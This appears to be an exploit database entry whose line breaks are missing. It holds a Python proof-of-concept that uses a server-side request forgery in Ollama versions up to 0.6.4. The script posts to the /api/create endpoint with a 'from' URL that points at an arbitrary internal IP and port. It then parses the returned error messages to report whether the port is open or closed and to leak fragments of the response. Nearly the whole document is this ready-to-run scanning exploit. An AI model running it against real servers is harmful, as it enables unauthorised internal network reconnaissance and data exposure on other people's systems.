# Exploit Title: ollama 0.6.4 - SSRF # Date: 2025-04-03 # Exploit Author: sud0 # Vendor Homepage: https://ollama.com/ # Software Link: https://github.com/ollama/ollama/releases # Version: <=0.6.4 # Tested on: CentOS 8 import argparse import requests import json from urllib.parse import urljoin def check_port(api_base, ip, port): api_endpoint = api_base.rstrip('/') + '/api/create' model_path = "mynp/model:1.1" target_url = f"https://{ip}:{port}/{model_path}" payload = { "model": "mario", "from": target_url, "system": "You are Mario from Super Mario Bros." } try: response = requests.post(api_endpoint, json=payload, timeout=10, stream=True) response.raise_for_status() for line in response.iter_lines(): if line: try: json_data = json.loads(line.decode('utf-8')) if "error" in json_data and "pull model manifest" in json_data["error"]: error_msg = json_data["error"] model_path_list = model_path.split(":", 2) model_path_prefix = model_path_list[0] model_path_suffix = model_path_list[1] model_path_with_manifests = f"{model_path_prefix}/manifests/{model_path_suffix}" if model_path_with_manifests in error_msg: path_start = error_msg.find(model_path_with_manifests) result = error_msg[path_start+len(model_path_with_manifests)+3:] if path_start != -1 else "" print(f"Raw Response: {result}") if "connection refused" in error_msg.lower(): print(f"[!] Port Closed - {ip}:{port}") else: print(f"[+] Port Maybe Open - {ip}:{port}") return except json.JSONDecodeError: continue print(f"[?] Unkown Status - {ip}:{port}") except requests.exceptions.RequestException as e: print(f"[x] Execute failed: {str(e)}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="ollama ssrf - port scan") parser.add_argument("--api", required=True, help="Ollama api url") parser.add_argument("-i", "--ip", required=True, help="target ip") parser.add_argument("-p", "--port", required=True, type=int, help="target port") args = parser.parse_args() check_port(args.api, args.ip, args.port)